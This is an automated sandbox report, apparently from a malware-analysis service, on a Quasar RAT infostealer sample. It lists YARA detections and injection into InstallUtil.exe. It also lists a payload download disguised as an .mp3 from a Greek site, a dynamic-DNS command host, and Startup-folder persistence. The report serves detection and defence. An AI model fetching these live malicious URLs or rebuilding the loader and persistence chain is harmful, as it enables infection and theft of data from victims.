                  Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /mansa/Dhmwdw.mp3 HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
                  Source: global trafficDNS traffic detected: DNS query: www.oleonidas.gr
                  Source: global trafficDNS traffic detected: DNS query: aboushagor.ydns.eu
                  Source: global trafficDNS traffic detected: DNS query: ipwho.is
                  Source: InstallUtil.exe, 00000001.00000002.2923515109.00000000012F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
                  Source: InstallUtil.exe, 00000001.00000002.2923515109.000000000132C000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.1.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://entityframework-plus.net/
                  Source: InstallUtil.exe, 00000001.00000002.2925605951.000000000308E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ipwho.is
                  Source: InstallUtil.exe, 00000001.00000002.2925605951.000000000308E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ipwho.isd
                  Source: InstallUtil.exe, 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/
                  Source: InstallUtil.exe, 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/d
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2925605951.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                  Source: ________.exe, StackTrace.exe.0.drString found in binary or memory: http://www.zzzprojects.com
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org/
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bulk-operations.net
                  Source: ________.exe, StackTrace.exe.0.drString found in binary or memory: https://bulk-operations.net/pricing.
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dapper-plus.net
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dapper-plus.net/getting-started-mapping#instance-context-mapping
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dapper-plus.net/getting-started-mapping#instance-context-mapping.
                  Source: ________.exe, StackTrace.exe.0.drString found in binary or memory: https://dapper-plus.net/pricing.
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://entityframework-extensions.net/)
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://entityframework-extensions.net/include-graph).
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://entityframework-extensions.net/md5-exception
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://entityframework-extensions.net/md5-exceptionBThe
                  Source: ________.exe, StackTrace.exe.0.drString found in binary or memory: https://entityframework-extensions.net/pricing.
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-net
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003F3B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-netJ
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-neti
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/npgsql/npgsql/issues/2623#issuecomment-627622215
                  Source: InstallUtil.exe, 00000001.00000002.2925605951.000000000307C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ipwho.is
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2925605951.000000000307C000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://ipwho.is/
                  Source: ________.exe, StackTrace.exe.0.drString found in binary or memory: https://linqtosql-plus.net/pricing.
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/11564914/23354;
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2925605951.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/14436606/23354
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/2152978/23354
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/2152978/23354sCannot
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.nuget.org/packages/NetTopologySuite.IO.SqlServerBytes/
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.oleonidas.gr
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.oleonidas.gr/mansa/Dhmwdw.mp3
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
                  Source: unknownHTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.4:49730 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 195.201.57.90:443 -> 192.168.2.4:49733 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.4:49734 version: TLS 1.2

                  E-Banking Fraud

                  barindex
                  Yara detected Quasar RAT
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.1913477262.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: ________.exe PID: 6912, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 3492, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: StackTrace.exe PID: 6120, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 928, type: MEMORYSTR

                  System Summary

                  barindex
                  Malicious sample detected (through community Yara rule)
                  Source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                  Source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                  Source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPEMatched rule: Detects Quasar infostealer Author: ditekshen
                  Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                  Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                  Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Quasar infostealer Author: ditekshen
                  Source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                  Source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                  Source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Quasar infostealer Author: ditekshen
                  Source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                  Source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                  Source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPEMatched rule: Detects Quasar infostealer Author: ditekshen
                  Source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                  Source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                  Source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Quasar infostealer Author: ditekshen
                  Windows Scripting host queries suspicious COM object (likely to drop second stage)
                  Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_0468BAC8 NtResumeThread,0_2_0468BAC8
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_0468AA90 NtProtectVirtualMemory,0_2_0468AA90
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_0468BAC0 NtResumeThread,0_2_0468BAC0
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_0468AA88 NtProtectVirtualMemory,0_2_0468AA88
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044CBAC8 NtResumeThread,3_2_044CBAC8
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044CAA90 NtProtectVirtualMemory,3_2_044CAA90
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044CBAC0 NtResumeThread,3_2_044CBAC0
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044CAA88 NtProtectVirtualMemory,3_2_044CAA88
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_00CD41400_2_00CD4140
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_00CDFA580_2_00CDFA58
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_00CDDE580_2_00CDDE58
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_00CDDE680_2_00CDDE68
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_046825B80_2_046825B8
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_046873F80_2_046873F8
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_046825A70_2_046825A7
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_0468464F0_2_0468464F
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_046846580_2_04684658
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_0468E1F40_2_0468E1F4
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_046C641F0_2_046C641F
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_046C4FA80_2_046C4FA8
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_046C4F980_2_046C4F98
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_071C00060_2_071C0006
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_071C00400_2_071C0040
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_071DE4F80_2_071DE4F8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 1_2_012AEFE41_2_012AEFE4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 1_2_07BCA6201_2_07BCA620
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 1_2_07BC6D881_2_07BC6D88
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_00A1FA583_2_00A1FA58
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_00A1DE683_2_00A1DE68
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_00A1DE583_2_00A1DE58
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044C25B83_2_044C25B8
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044C73F83_2_044C73F8
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044C25A73_2_044C25A7
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044C464E3_2_044C464E
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044C46583_2_044C4658
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044CE1F43_2_044CE1F4
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_06F0E4F83_2_06F0E4F8
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_06EF00403_2_06EF0040
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_06EF00063_2_06EF0006
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 5_2_0181F03C5_2_0181F03C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeCode function: 5_2_058A3CE85_2_058A3CE8
                  Source: ________.exe, 00000000.00000002.1714974058.0000000000A3E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs ________.exe
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameprotobuf-net.dllJ vs ________.exe
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameClient.exe. vs ________.exe
                  Source: ________.exe, 00000000.00000002.1742675050.0000000006890000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs ________.exe
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002C98000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs ________.exe
                  Source: ________.exe, 00000000.00000002.1746076507.0000000008380000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAsbbj.exe, vs ________.exe
                  Source: ________.exe, 00000000.00000000.1672928919.0000000000252000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameAsbbj.exe, vs ________.exe
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameClient.exe. vs ________.exe
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002A85000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameClient.exe. vs ________.exe
                  Source: ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameprotobuf-net.dllJ vs ________.exe
                  Source: ________.exe, 00000000.00000002.1715918413.000000000272E000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs ________.exe
                  Source: ________.exeBinary or memory string: OriginalFilenameAsbbj.exe, vs ________.exe
                  Source: ________.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                  Source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                  Source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
                  Source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
                  Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                  Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
                  Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
                  Source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                  Source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
                  Source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
                  Source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                  Source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
                  Source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
                  Source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                  Source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
                  Source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
                  Source: 0.2.________.exe.6890000.8.raw.unpack, ITaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask'
                  Source: 0.2.________.exe.6890000.8.raw.unpack, TaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
                  Source: 0.2.________.exe.6890000.8.raw.unpack, Task.csTask registration methods: 'RegisterChanges', 'CreateTask'
                  Source: 0.2.________.exe.6890000.8.raw.unpack, TaskService.csTask registration methods: 'CreateFromToken'
                  Source: ________.exe, -.csBase64 encoded string: 'gayozir4/Ie+3CPwsaGy1SG7k6ao3yL3vqzg/Srhl7uvyDbUoaa+1y35q+683zvKlKC31gH0v7Dg1T/Km7u+yzr0vryvw3Tyt6GE9ir7taGzgQjwpoGiyirToLq28i77trm+gSjwpoqV2yLw6Zy13irtnbPg6Cr0toavyCb7te6a3iuutbCv5R/6obyv0yD76bK+zhDWp6ep3yHhlrq22yb76Ya+zgv0prTggnyl5e6ayTzwv7e3wxzwoKO+yHTGu7ir1irUoaa+1y35q5CjyiP6oLCpgS30sLC3zCKuobi00Srht6av'
                  Source: 0.2.________.exe.6890000.8.raw.unpack, User.csSecurity API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
                  Source: 0.2.________.exe.6890000.8.raw.unpack, TaskPrincipal.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 0.2.________.exe.6890000.8.raw.unpack, TaskSecurity.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
                  Source: 0.2.________.exe.6890000.8.raw.unpack, TaskSecurity.csSecurity API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
                  Source: 0.2.________.exe.6890000.8.raw.unpack, TaskFolder.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                  Source: 0.2.________.exe.6890000.8.raw.unpack, Task.csSecurity API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                  Source: classification engineClassification label: mal100.troj.expl.evad.winEXE@8/6@3/3
                  Source: C:\Users\user\Desktop\________.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbsJump to behavior
